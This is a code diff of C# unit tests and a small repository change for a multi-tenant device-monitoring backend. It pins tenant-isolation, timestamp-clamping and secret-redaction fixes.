Assert.True(sw.Elapsed < TimeSpan.FromSeconds(10), $"verification took {sw.Elapsed}");
}
[Fact]
public void Signal_surplus_beyond_the_journal_is_still_reported_as_count_imbalance()
{
var sigs = new[]
{
MakeSignal(0, DecisionSignalKind.SessionStarted),
MakeSignal(1, DecisionSignalKind.AppInstallCompleted),
MakeSignal(2, DecisionSignalKind.AppInstallCompleted),
};
var (signals, transitions) = Materialise(sigs);
var shortJournal = new[] { transitions[0], transitions[1] };
var report = ReducerVerifier.Verify(TenantId, SessionId, signals, shortJournal, CurrentReducerVersion);
Assert.True(report.SemanticReplayPerformed);
Assert.Contains(report.Issues, i => i.Kind == "replay_divergence" && i.Message.StartsWith("Signal count (3) != transition count (2)"));
}
[Fact]
public void Mid_stream_deserialisation_failure_truncates_replay_and_counts_only_decoded_signals()
{
var sigs = new[]
{
MakeSignal(0, DecisionSignalKind.SessionStarted),
MakeSignal(1, DecisionSignalKind.AppInstallCompleted),
MakeSignal(2, DecisionSignalKind.AppInstallCompleted),
};
var (signals, transitions) = Materialise(sigs);
signals[1].PayloadJson = "{not json";
var report = ReducerVerifier.Verify(TenantId, SessionId, signals, transitions, CurrentReducerVersion);
Assert.True(report.SemanticReplayPerformed);
Assert.Contains(report.Issues, i => i.Kind == "replay_deserialization_error" && i.Message.Contains("ordinal 1"));
Assert.Contains(report.Issues, i => i.Kind == "replay_divergence" && i.Message.StartsWith("Signal count (1) != transition count (3)"));
}
[Fact]
public void Head_deserialisation_failure_skips_replay_silently()
{
var (signals, transitions) = Materialise(new[] { MakeSignal(0, DecisionSignalKind.SessionStarted) });
signals[0].PayloadJson = "stub";
var report = ReducerVerifier.Verify(TenantId, SessionId, signals, transitions, CurrentReducerVersion);
Assert.False(report.SemanticReplayPerformed);
Assert.Equal("deserialization_failure", report.SemanticReplaySkipReason);
Assert.DoesNotContain(report.Issues, i => i.Kind == "replay_deserialization_error");
}
// ---- Repository payload budget ---------------------------------------------------
[Fact]
public void Payload_budget_exhaustion_mirrors_the_repository_stop_condition()
{
SignalRecord Row(int chars) => new() { PayloadJson = new string('x', chars) };
Assert.False(SignalQueryLimits.IsPayloadBudgetExhausted(new[] { Row(10), Row(10) }, maxTotalPayloadChars: 100));
Assert.True(SignalQueryLimits.IsPayloadBudgetExhausted(new[] { Row(60), Row(40) }, maxTotalPayloadChars: 100));
Assert.True(SignalQueryLimits.IsPayloadBudgetExhausted(new[] { Row(60), Row(60) }, maxTotalPayloadChars: 100));
Assert.False(SignalQueryLimits.IsPayloadBudgetExhausted(Array.Empty<SignalRecord>(), maxTotalPayloadChars: 100));
}
}
@@ -0,0 +1,103 @@
using AutopilotMonitor.Functions.Functions.Sessions;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared.Models;
using Microsoft.Extensions.Logging.Abstractions;
using Xunit;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Regression guard: the device-supplied registration <c>StartedAt</c> anchors the SessionsIndex
/// RowKey, the retention filter ("StartedAt lt cutoff"), the TotalToday window and the
/// supersede-predecessor comparison. Without a clamp a far-future value (year 2999) would pin
/// the row at the head of every list — including the Global Admin cross-tenant list — inflate
/// today's counters forever and never become a retention candidate. The clamp lives in the
/// shared register core (<see cref="RegisterSessionFunction.ProcessRegisterAsync"/>) and mirrors
/// <see cref="EventTimestampValidator"/> so registration and events share one skew policy.
/// </summary>
public class RegisterSessionStartedAtClampTests
{
private static readonly DateTime FixedUtcNow = new(2026, 8, 30, 12, 0, 0, DateTimeKind.Utc);
private static SessionRegistration Registration(DateTime startedAt) => new()
{
TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
SessionId = "b2c3d4e5-f6a7-8901-bcde-f12345678901",
StartedAt = startedAt,
};
[Fact]
public void FarFuture_StartedAt_is_clamped_to_server_time()
{
var registration = Registration(new DateTime(2999, 1, 1, 0, 0, 0, DateTimeKind.Utc));
RegisterSessionFunction.ClampStartedAt(registration, FixedUtcNow, NullLogger.Instance);
Assert.Equal(FixedUtcNow, registration.StartedAt);
Assert.Equal(DateTimeKind.Utc, registration.StartedAt.Kind);
}
[Fact]
public void Future_beyond_event_tolerance_is_clamped_but_within_tolerance_is_kept()
{
var justInside = FixedUtcNow.AddHours(EventTimestampValidator.MaxFutureToleranceHours).AddMinutes(-1);
var justOutside = FixedUtcNow.AddHours(EventTimestampValidator.MaxFutureToleranceHours).AddMinutes(1);
var kept = Registration(justInside);
var clamped = Registration(justOutside);
RegisterSessionFunction.ClampStartedAt(kept, FixedUtcNow, NullLogger.Instance);
RegisterSessionFunction.ClampStartedAt(clamped, FixedUtcNow, NullLogger.Instance);
Assert.Equal(justInside, kept.StartedAt);
Assert.Equal(FixedUtcNow, clamped.StartedAt);
}
[Fact]
public void Catastrophic_past_StartedAt_is_clamped_to_server_time()
{
var registration = Registration(DateTime.MinValue);
RegisterSessionFunction.ClampStartedAt(registration, FixedUtcNow, NullLogger.Instance);
Assert.Equal(FixedUtcNow, registration.StartedAt);
}
[Fact]
public void Plausible_StartedAt_is_preserved_and_normalized_to_Utc()
{
var unspecified = new DateTime(2026, 8, 30, 11, 30, 0, DateTimeKind.Unspecified);
var registration = Registration(unspecified);
RegisterSessionFunction.ClampStartedAt(registration, FixedUtcNow, NullLogger.Instance);
Assert.Equal(DateTime.SpecifyKind(unspecified, DateTimeKind.Utc), registration.StartedAt);
Assert.Equal(DateTimeKind.Utc, registration.StartedAt.Kind);
}
[Fact]
public void ProcessRegisterAsync_body_calls_the_clamp_before_storing()
{
// Source-level wiring pin: the clamp must precede SupersedeOrphanedPredecessorsAsync and
// StoreSessionAsync inside the shared core so both HTTP entries (cert-auth + bootstrap)
// are covered. RegisterSessionGuardWiringTests already pins that bootstrap delegates here.
var source = File.ReadAllText(FindSource("Functions/Sessions/RegisterSessionFunction.cs"));
var core = source.IndexOf("internal async Task<RegisterSessionOutput> ProcessRegisterAsync(", StringComparison.Ordinal);
var clamp = source.IndexOf("ClampStartedAt(registration, DateTime.UtcNow, _logger);", StringComparison.Ordinal);
var store = source.IndexOf("_sessionRepo.StoreSessionAsync(registration", StringComparison.Ordinal);
Assert.True(core >= 0 && clamp > core && store > clamp,
"ClampStartedAt must be invoked inside ProcessRegisterAsync before StoreSessionAsync.");
}
private static string FindSource(string relative)
{
var dir = new DirectoryInfo(AppContext.BaseDirectory);
while (dir != null)
{
var candidate = Path.Combine(dir.FullName, "AutopilotMonitor.Functions", relative);
if (File.Exists(candidate)) return candidate;
dir = dir.Parent;
}
throw new FileNotFoundException(relative);
}
}
@@ -8,6 +8,7 @@ using AutopilotMonitor.Functions.Helpers;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.DataAccess;
using AutopilotMonitor.Shared.Models;
using Microsoft.Extensions.Logging.Abstractions;
using Moq;
using Xunit;
@@ -96,10 +97,12 @@ public class SessionScopeResolutionTests
}
[Fact]
public async Task RequireGlobalAdmin_StillResolves_ForGlobalAdmin()
public async Task RequireGlobalAdmin_StillResolves_ForGlobalAdmin_WhenTheSessionRowCorroboratesTheLookup()
{
var repo = new Mock<ISessionRepository>();
repo.Setup(r => r.ResolveSessionTenantIdAsync(SessionId)).ReturnsAsync(OtherTenant);
repo.Setup(r => r.GetSessionAsync(OtherTenant, SessionId))
.ReturnsAsync(new SessionSummary { SessionId = SessionId, TenantId = OtherTenant });
var ctx = new RequestContext { TenantId = HomeTenant, TargetTenantId = HomeTenant, IsGlobalAdmin = true };
var result = await ctx.ResolveSessionScopeAsync(repo.Object, SessionId, requireGlobalAdmin: true);
@@ -107,6 +110,38 @@ public class SessionScopeResolutionTests
Assert.Equal(OtherTenant, result);
}
[Fact]
public async Task RequireGlobalAdmin_KeepsTargetTenant_WhenTheLookupPointsAtATenantWithoutTheSessionRow()
{
// A lookup row whose tenant does not hold the Sessions row (poisoned or stale mapping)
// must never steer a GA WRITE into that tenant — silently keep the target tenant so the
// endpoint's own not-found handling answers; no operator confirmation dialog.
var repo = new Mock<ISessionRepository>();
repo.Setup(r => r.ResolveSessionTenantIdAsync(SessionId)).ReturnsAsync(OtherTenant);
repo.Setup(r => r.GetSessionAsync(OtherTenant, SessionId)).ReturnsAsync((SessionSummary?)null);
var ctx = new RequestContext { TenantId = HomeTenant, TargetTenantId = HomeTenant, IsGlobalAdmin = true };
var result = await ctx.ResolveSessionScopeAsync(repo.Object, SessionId, requireGlobalAdmin: true);
Assert.Equal(HomeTenant, result);
}
[Fact]
public async Task ReadPath_DoesNotCorroborate_TheLookupWithASessionRead()
{
// Reads keep the single point-read contract: the endpoint's own session read is the
// corroboration (404 when the row is missing in the resolved tenant).
var repo = new Mock<ISessionRepository>(MockBehavior.Strict);
repo.Setup(r => r.ResolveSessionTenantIdAsync(SessionId)).ReturnsAsync(OtherTenant);
var ctx = new RequestContext { TenantId = HomeTenant, TargetTenantId = HomeTenant, IsGlobalAdmin = true };
var result = await ctx.ResolveSessionScopeAsync(repo.Object, SessionId);
Assert.Equal(OtherTenant, result);
repo.VerifyAll();
repo.VerifyNoOtherCalls();
}
[Fact]
public async Task DelegatedCaller_GetsNoFallback_ByDesign()
{
@@ -151,14 +186,31 @@ public class SessionScopeResolutionTests
var result = await harness.Sut.ResolveSessionTenantIdAsync(SessionId);
Assert.Equal(OtherTenant, result);
// Self-heal: the lookup row is written so the next resolve is a point-read.
harness.Lookup.Verify(t => t.UpsertEntityAsync(
// Self-heal: the lookup row is written ADD-ONLY so the next resolve is a point-read and
// a claim that landed meanwhile is never overwritten.
harness.Lookup.Verify(t => t.AddEntityAsync(
It.Is<TableEntity>(e => e.PartitionKey == SessionId
&& e.RowKey == "tenant"
&& e.GetString("TenantId") == OtherTenant),
It.IsAny<TableUpdateMode>(),
It.IsAny<CancellationToken>()),
Times.Once);
harness.Lookup.Verify(t => t.UpsertEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()),
Times.Never);
}
[Fact]
public async Task SelfHeal_SwallowsAConcurrentClaim_AndStillReturnsTheScannedTenant()
{
var indexRow = new TableEntity(OtherTenant, "0000000000000000001_" + SessionId) { ["SessionId"] = SessionId };
var harness = new ResolveHarness(lookupRow: null, indexRows: new[] { indexRow });
harness.Lookup
.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.ThrowsAsync(new RequestFailedException(409, "EntityAlreadyExists"));
var result = await harness.Sut.ResolveSessionTenantIdAsync(SessionId);
Assert.Equal(OtherTenant, result);
}
[Fact]
@@ -169,8 +221,8 @@ public class SessionScopeResolutionTests
var result = await harness.Sut.ResolveSessionTenantIdAsync(SessionId);
Assert.Null(result);
harness.Lookup.Verify(t => t.UpsertEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()),
harness.Lookup.Verify(t => t.AddEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()),
Times.Never);
}
@@ -246,7 +298,7 @@ public class SessionScopeResolutionTests
.ThrowsAsync(new RequestFailedException(404, "Not Found"));
}
Lookup
.Setup(t => t.UpsertEntityAsync(It.IsAny<TableEntity>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()))
.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.ReturnsAsync(Mock.Of<Response>());
var page = Page<TableEntity>.FromValues(indexRows ?? Array.Empty<TableEntity>(), null, Mock.Of<Response>());
@@ -386,6 +386,7 @@ public class StoreSessionReregistrationPreserveTests
private sealed class Harness
{
public Mock<TableClient> Sessions { get; }
public Mock<TableClient> Lookup { get; } = new();
public TableStorageService Sut { get; }
public TableEntity? Written { get; private set; }
@@ -423,8 +424,13 @@ public class StoreSessionReregistrationPreserveTests
return Task.FromResult(new Mock<Response>().Object);
});
// Ownership claim (first-writer-wins lookup) — Add succeeds: this tenant owns the id.
Lookup.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.ReturnsAsync(new Mock<Response>().Object);
var mockServiceClient = new Mock<TableServiceClient>();
mockServiceClient.Setup(s => s.GetTableClient(Constants.TableNames.Sessions)).Returns(Sessions.Object);
mockServiceClient.Setup(s => s.GetTableClient(Constants.TableNames.SessionTenantLookup)).Returns(Lookup.Object);
// Events / SessionsIndex intentionally unconfigured → null client → SUT swallows.
Sut = new TableStorageService(mockServiceClient.Object, NullLogger<TableStorageService>.Instance);
@@ -0,0 +1,144 @@
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using Azure;
using Azure.Data.Tables;
using AutopilotMonitor.Functions.Services;
using AutopilotMonitor.Shared;
using AutopilotMonitor.Shared.Models;
using Microsoft.Extensions.Logging.Abstractions;
using Moq;
using Xunit;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// SessionTenantLookup ownership claim in <see cref="TableStorageService.StoreSessionAsync"/>.
/// The lookup (PK = client-supplied sessionId → owning tenantId) is the authority behind every
/// global-scope cross-tenant session resolve. It used to be an unconditional last-writer-wins
/// upsert AFTER the Sessions row, so any tenant's device could re-point a victim sessionId at
/// its own tenant. Now it is a create-only claim BEFORE any session write: a foreign owner
/// refuses the registration (409, nothing written), the same owner re-registers as before.
/// </summary>
public class StoreSessionTenantLookupClaimTests
{
private const string TenantA = "11111111-1111-1111-1111-111111111111";
private const string TenantB = "44444444-4444-4444-4444-444444444444";
private const string SessionId = "22222222-2222-2222-2222-222222222222";
private static SessionRegistration Registration(string tenantId) => new()
{
TenantId = tenantId,
SessionId = SessionId,
StartedAt = new DateTime(2026, 1, 1, 8, 0, 0, DateTimeKind.Utc),
SerialNumber = "SN-1",
};
[Fact]
public async Task FreshSessionId_ClaimsTheLookup_BeforeWritingTheSessionRow()
{
var harness = new Harness(existingOwner: null);
var ok = await harness.Sut.StoreSessionAsync(Registration(TenantA));
Assert.True(ok);
Assert.Equal(new[] { "lookup-add", "session-write" }, harness.Order);
Assert.Equal(TenantA, harness.ClaimedTenant);
harness.Lookup.Verify(t => t.UpsertEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()), Times.Never);
}
[Fact]
public async Task SameTenantReregistration_KeepsTheExistingClaim_AndStoresNormally()
{
var harness = new Harness(existingOwner: TenantA.ToUpperInvariant());
var ok = await harness.Sut.StoreSessionAsync(Registration(TenantA));
Assert.True(ok);
Assert.Contains("session-write", harness.Order);
}
[Fact]
public async Task ForeignTenant_IsRefused_AndNothingIsWritten()
{
// Attacker in tenant B registers the victim's (tenant A) sessionId.
var harness = new Harness(existingOwner: TenantA);
var ex = await Assert.ThrowsAsync<SessionTenantConflictException>(
() => harness.Sut.StoreSessionAsync(Registration(TenantB)));
Assert.Equal(SessionId, ex.SessionId);
Assert.Equal(TenantB, ex.RequestedTenantId);
Assert.Equal(TenantA, ex.OwningTenantId);
// The mapping still points at A, and B never got a Sessions row for the id.
Assert.DoesNotContain("session-write", harness.Order);
harness.Lookup.Verify(t => t.UpsertEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()), Times.Never);
harness.Lookup.Verify(t => t.UpdateEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<ETag>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()), Times.Never);
}
[Fact]
public async Task ClaimStorageFailure_IsNotFailSoft_TheSessionIsNotStored()
{
var harness = new Harness(existingOwner: null);
harness.Lookup.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.ThrowsAsync(new RequestFailedException(503, "ServerBusy"));
var ok = await harness.Sut.StoreSessionAsync(Registration(TenantA));
Assert.False(ok);
Assert.DoesNotContain("session-write", harness.Order);
}
private sealed class Harness
{
public Mock<TableClient> Sessions { get; } = new();
public Mock<TableClient> Lookup { get; } = new();
public List<string> Order { get; } = new();
public string? ClaimedTenant { get; private set; }
public TableStorageService Sut { get; }
public Harness(string? existingOwner)
{
// Sessions: no existing row; Add captures the write order.
Sessions.Setup(t => t.GetEntityAsync<TableEntity>(
It.IsAny<string>(), SessionId, It.IsAny<IEnumerable<string>>(), It.IsAny<CancellationToken>()))
.ThrowsAsync(new RequestFailedException(404, "ResourceNotFound"));
Sessions.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.Returns<TableEntity, CancellationToken>((_, _) =>
{
Order.Add("session-write");
return Task.FromResult(new Mock<Response>().Object);
});
if (existingOwner is null)
{
Lookup.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.Returns<TableEntity, CancellationToken>((e, _) =>
{
Order.Add("lookup-add");
ClaimedTenant = e.GetString("TenantId");
return Task.FromResult(new Mock<Response>().Object);
});
}
else
{
Lookup.Setup(t => t.AddEntityAsync(It.IsAny<TableEntity>(), It.IsAny<CancellationToken>()))
.ThrowsAsync(new RequestFailedException(409, "EntityAlreadyExists"));
Lookup.Setup(t => t.GetEntityAsync<TableEntity>(
SessionId, "tenant", It.IsAny<IEnumerable<string>>(), It.IsAny<CancellationToken>()))
.ReturnsAsync(Response.FromValue(
new TableEntity(SessionId, "tenant") { ["TenantId"] = existingOwner }, Mock.Of<Response>()));
}
var serviceClient = new Mock<TableServiceClient>();
serviceClient.Setup(s => s.GetTableClient(Constants.TableNames.Sessions)).Returns(Sessions.Object);
serviceClient.Setup(s => s.GetTableClient(Constants.TableNames.SessionTenantLookup)).Returns(Lookup.Object);
// Events / SessionsIndex intentionally unconfigured → null client → SUT swallows.
Sut = new TableStorageService(serviceClient.Object, NullLogger<TableStorageService>.Instance);
}
}
}
@@ -0,0 +1,105 @@
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
using AutopilotMonitor.Functions.DataAccess.TableStorage;
using AutopilotMonitor.Functions.Services;
using Azure;
using Azure.Data.Tables;
using Microsoft.Extensions.Logging.Abstractions;
using Moq;
using Xunit;
namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Object-level authorization for bootstrap revoke: the short code is a platform-global
/// identifier, so the repository must refuse to revoke a code owned by a tenant other than
/// the caller's authorized tenant — and must do so without leaking who owns it (same
/// "not found" result as an unknown code).
/// </summary>
public sealed class TableBootstrapRepositoryRevokeOwnershipTests
{
private const string TenantA = "aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa";
private const string TenantB = "bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb";
private const string Code = "k7m3pq";
private sealed class Harness
{
public TableBootstrapRepository Sut { get; }
public Mock<TableClient> Table { get; } = new();
public List<TableEntity> Updates { get; } = new();
public Harness(string owningTenantId)
{
var lookup = new TableEntity("CodeLookup", Code)
{
{ "TenantId", owningTenantId },
{ "Token", "token-1" },
{ "IsRevoked", false }
};
var main = new TableEntity(owningTenantId, Code)
{
{ "Token", "token-1" },
{ "IsRevoked", false }
};
Table.Setup(c => c.GetEntityAsync<TableEntity>("CodeLookup", Code, null, It.IsAny<CancellationToken>()))
.ReturnsAsync(Response.FromValue(lookup, Mock.Of<Response>()));
Table.Setup(c => c.GetEntityAsync<TableEntity>(owningTenantId, Code, null, It.IsAny<CancellationToken>()))
.ReturnsAsync(Response.FromValue(main, Mock.Of<Response>()));
Table.Setup(c => c.UpdateEntityAsync(
It.IsAny<TableEntity>(), It.IsAny<ETag>(), It.IsAny<TableUpdateMode>(), It.IsAny<CancellationToken>()))
.Returns<TableEntity, ETag, TableUpdateMode, CancellationToken>((e, _, _, _) =>
{
Updates.Add(e);
return Task.FromResult(Mock.Of<Response>());
});
var serviceClient = new Mock<TableServiceClient>();
serviceClient.Setup(c => c.GetTableClient(It.IsAny<string>())).Returns(Table.Object);
Sut = new TableBootstrapRepository(
new TableStorageService(serviceClient.Object, NullLogger<TableStorageService>.Instance),
NullLogger<TableBootstrapRepository>.Instance);
}
}
[Fact]
public async Task Revoke_ForeignTenantCode_IsRefusedWithoutStateChange()
{
var h = new Harness(owningTenantId: TenantB);
var result = await h.Sut.RevokeBootstrapSessionAsync(TenantA, Code);
Assert.False(result);
Assert.Empty(h.Updates);
// The owning tenant's main partition must not even be read on a foreign-tenant attempt.
h.Table.Verify(c => c.GetEntityAsync<TableEntity>(TenantB, Code, null, It.IsAny<CancellationToken>()), Times.Never);
}
[Fact]
public async Task Revoke_OwnTenantCode_RevokesMainAndLookupEntities()
{
var h = new Harness(owningTenantId: TenantA);
var result = await h.Sut.RevokeBootstrapSessionAsync(TenantA, Code);
Assert.True(result);
Assert.Equal(2, h.Updates.Count);
Assert.All(h.Updates, e => Assert.True(e.GetBoolean("IsRevoked")));
Assert.Contains(h.Updates, e => e.PartitionKey == TenantA && e.RowKey == Code);
Assert.Contains(h.Updates, e => e.PartitionKey == "CodeLookup" && e.RowKey == Code);
}
[Fact]
public async Task Revoke_UnknownCode_ReturnsFalse_SameAsForeignTenant()
{
var h = new Harness(owningTenantId: TenantA);
h.Table.Setup(c => c.GetEntityAsync<TableEntity>("CodeLookup", "zzzzzz", null, It.IsAny<CancellationToken>()))
.ThrowsAsync(new RequestFailedException(404, "not found"));
var result = await h.Sut.RevokeBootstrapSessionAsync(TenantA, "zzzzzz");
Assert.False(result);
Assert.Empty(h.Updates);
}
}
@@ -325,6 +325,25 @@ public class TenantConfigPatchServiceTests
Assert.Contains("definitelyNotAField", outcome.Error);
}
[Fact]
public async Task Patch_WrongJsonType_ErrorNamesFieldButNeverEchoesValue()
{
// A secret mistakenly sent into a numeric field must not be quoted back by the
// Newtonsoft conversion error — the response text ends up in MCP tool logs.
var harness = new Harness(Stored());
const string secret = "https://example.invalid/webhook/AAAA-SECRET-TOKEN";
var outcome = await harness.Sut.ApplyFieldPatchAsync(
TenantId, Fields(("dataRetentionDays", secret)), Ga, "mcp-patch", null);
Assert.False(outcome.Success);
Assert.Equal(PatchFailure.InvalidField, outcome.Failure);
Assert.Contains("dataRetentionDays", outcome.Error, StringComparison.OrdinalIgnoreCase);
Assert.DoesNotContain("SECRET-TOKEN", outcome.Error);
Assert.Empty(harness.Backups);
Assert.Equal(0, harness.ReplaceCalls);
}
[Fact]
public async Task Patch_RedactedPlaceholderValue_Rejected()
{
@@ -6,10 +6,13 @@ namespace AutopilotMonitor.Functions.Tests;
/// <summary>
/// Unit tests for the cross-tenant guard on <c>GET /api/metrics/mcp-usage/user/{userId}</c>.
///
/// Background: the route is catalog-policy <c>TenantAdminOrGA</c> with no <c>TenantScoping</c>
/// (the path parameter is an Azure AD object id, not a tenant id). Without this guard, a tenant
/// admin from tenant A could read MCP usage records of any oid — including oids in tenant B —
/// because the function blindly hands the oid to <c>IUserUsageRepository.GetUsageByUserAsync</c>.
/// Background: the route is catalog-policy <c>TenantAdminOrGlobalReader</c> with no
/// <c>TenantScoping</c> (the path parameter is an Azure AD object id, not a tenant id). The
/// function hands the oid to <c>IUserUsageRepository.GetUsageByUserAsync</c> and then projects
/// the result down to the caller's tenant. Two invariants are pinned here:
/// (1) a non-global caller never receives a row that is not attributed to their own tenant —
/// foreign AND empty <c>TenantId</c> alike; (2) the projection is silent, so a foreign oid
/// and an unknown oid both yield an empty set (no cross-tenant existence oracle).
/// </summary>
public class UsageCrossTenantGuardTests
{
@@ -19,7 +22,7 @@ public class UsageCrossTenantGuardTests
private static UserUsageRecord Rec(string tid, string endpoint = "ep") => new()
{
UserId = "oid-1",
UserPrincipalName = "alice@contoso.com",
UserPrincipalName = "alice@example.com",
TenantId = tid,
Endpoint = endpoint,
Date = "20260505",
@@ -27,100 +30,93 @@ public class UsageCrossTenantGuardTests
};
[Fact]
public void OwnTenantOnly_NonGA_Allowed()
public void OwnTenantOnly_NonGlobal_AllReturned()
{
var records = new[] { Rec(TenantA), Rec(TenantA, "ep2") };
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: false);
var visible = UsageCrossTenantGuard.FilterForCaller(records, TenantA, hasGlobalScope: false);
Assert.False(blocked);
Assert.Equal(2, visible.Count);
Assert.All(visible, r => Assert.Equal(TenantA, r.TenantId));
}
[Fact]
public void ForeignTenantOnly_NonGA_Blocked()
public void ForeignTenantOnly_NonGlobal_EmptyLikeUnknownOid()
{
var records = new[] { Rec(TenantB), Rec(TenantB, "ep2") };
// Oracle closure: a foreign oid must look exactly like an oid with no usage at all.
var foreign = UsageCrossTenantGuard.FilterForCaller(new[] { Rec(TenantB), Rec(TenantB, "ep2") }, TenantA, hasGlobalScope: false);
var unknown = UsageCrossTenantGuard.FilterForCaller(Array.Empty<UserUsageRecord>(), TenantA, hasGlobalScope: false);
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: false);
Assert.True(blocked);
Assert.Empty(foreign);
Assert.Empty(unknown);
}
[Fact]
public void MixedTenants_NonGA_Blocked()
public void MixedTenants_NonGlobal_OnlyOwnRowsReturned()
{
// Even one foreign record must trip the guard — a tenant admin must not see another tenant's row.
var records = new[] { Rec(TenantA), Rec(TenantB) };
var records = new[] { Rec(TenantA), Rec(TenantB), Rec(TenantA, "ep2") };
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: false);
var visible = UsageCrossTenantGuard.FilterForCaller(records, TenantA, hasGlobalScope: false);
Assert.True(blocked);
Assert.Equal(2, visible.Count);
Assert.DoesNotContain(visible, r => string.Equals(r.TenantId, TenantB, StringComparison.OrdinalIgnoreCase));
}
[Fact]
public void ForeignTenant_GlobalAdmin_Allowed()
public void ForeignTenant_GlobalScope_AllReturned()
{
// GA can see usage across all tenants.
var records = new[] { Rec(TenantB) };
// GA / Global Reader can see usage across all tenants — including unattributed rows.
var records = new[] { Rec(TenantB), Rec("") };
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: true);
var visible = UsageCrossTenantGuard.FilterForCaller(records, TenantA, hasGlobalScope: true);
Assert.False(blocked);
Assert.Equal(2, visible.Count);
}
[Fact]
public void EmptyRecords_NonGA_Allowed()
public void NullRecords_ReturnsEmpty()
{
// No records → caller learns nothing; safe to return 200 with empty list.
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(
Array.Empty<UserUsageRecord>(), TenantA, isGlobalAdmin: false);
Assert.False(blocked);
var visible = UsageCrossTenantGuard.FilterForCaller(null, TenantA, hasGlobalScope: false);
Assert.Empty(visible);
}
[Fact]
public void NullRecords_DoesNotThrow()
public void RecordWithEmptyTenantId_NonGlobal_Excluded()
{
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(null!, TenantA, isGlobalAdmin: false);
Assert.False(blocked);
}
[Fact]
public void RecordWithEmptyTenantId_Ignored()
{
// Defensive: legacy records without TenantId must not be treated as a leak signal
// (they could belong to anyone). Other records still drive the decision.
// Tenant-less rows exist by construction (legacy rows without the TenantId column,
// tokens without a resolvable tid). They cannot be attributed to the caller's tenant,
// so a tenant admin of ANY tenant must not receive them.
var records = new[]
{
Rec(""), // unknown tenant — ignored
Rec(TenantA), // own tenant
Rec(""), // unattributed — dropped
Rec(TenantA), // own tenant — kept
};
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: false);
var visible = UsageCrossTenantGuard.FilterForCaller(records, TenantA, hasGlobalScope: false);
Assert.False(blocked);
Assert.Single(visible);
Assert.Equal(TenantA, visible[0].TenantId);
}
[Fact]
public void CallerTenantIdEmpty_NotBlocked()
public void CallerTenantIdEmpty_NonGlobal_ReturnsNothing()
{
// Anonymous / device path scenarios shouldn't reach this code — but if they do,
// we don't synthesize a 403 from missing claims; let the catalog policy handle auth.
var records = new[] { Rec(TenantA) };
// A caller without a tid cannot own any row — fail closed rather than open.
var records = new[] { Rec(TenantA), Rec("") };
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, "", isGlobalAdmin: false);
var visible = UsageCrossTenantGuard.FilterForCaller(records, "", hasGlobalScope: false);
Assert.False(blocked);
Assert.Empty(visible);
}
[Fact]
public void TenantIdComparison_IsCaseInsensitive()
{
// Azure AD tids are GUIDs; some sources upper-case them. Comparison must not flag those as foreign.
// Azure AD tids are GUIDs; some sources upper-case them. Comparison must not drop those as foreign.
var records = new[] { Rec(TenantA.ToUpperInvariant()) };
var blocked = UsageCrossTenantGuard.IsForeignTenantAccess(records, TenantA, isGlobalAdmin: false);
var visible = UsageCrossTenantGuard.FilterForCaller(records, TenantA, hasGlobalScope: false);
Assert.False(blocked);
Assert.Single(visible);
}
}
@@ -167,16 +167,26 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage
}
/// <summary>
/// Revokes a bootstrap session. Looks up the tenant via CodeLookup partition first.
/// Revokes a bootstrap session. Resolves the owning tenant via the CodeLookup partition
/// and refuses (returns false, same as not-found) when it differs from the caller's tenant:
/// short codes are platform-global, so tenant scope must be checked against the object itself.
/// </summary>
public async Task<bool> RevokeBootstrapSessionAsync(string shortCode)
public async Task<bool> RevokeBootstrapSessionAsync(string tenantId, string shortCode)
{
try
{
// Look up the tenant from the CodeLookup partition
// Look up the owning tenant from the CodeLookup partition
var lookupResult = await _tableClient.GetEntityAsync<TableEntity>(CodeLookupPartition, shortCode);
var lookup = lookupResult.Value;
var tenantId = lookup.GetString("TenantId") ?? "";
var owningTenantId = lookup.GetString("TenantId") ?? "";
if (!string.Equals(owningTenantId, tenantId, StringComparison.Ordinal))
{
// Do not leak the owner; the caller sees the same 404 as for an unknown code.
_logger.LogWarning("Bootstrap session {ShortCode} revoke refused: code is not owned by tenant {TenantId}",
shortCode, tenantId);
return false;
}
// Update main entity
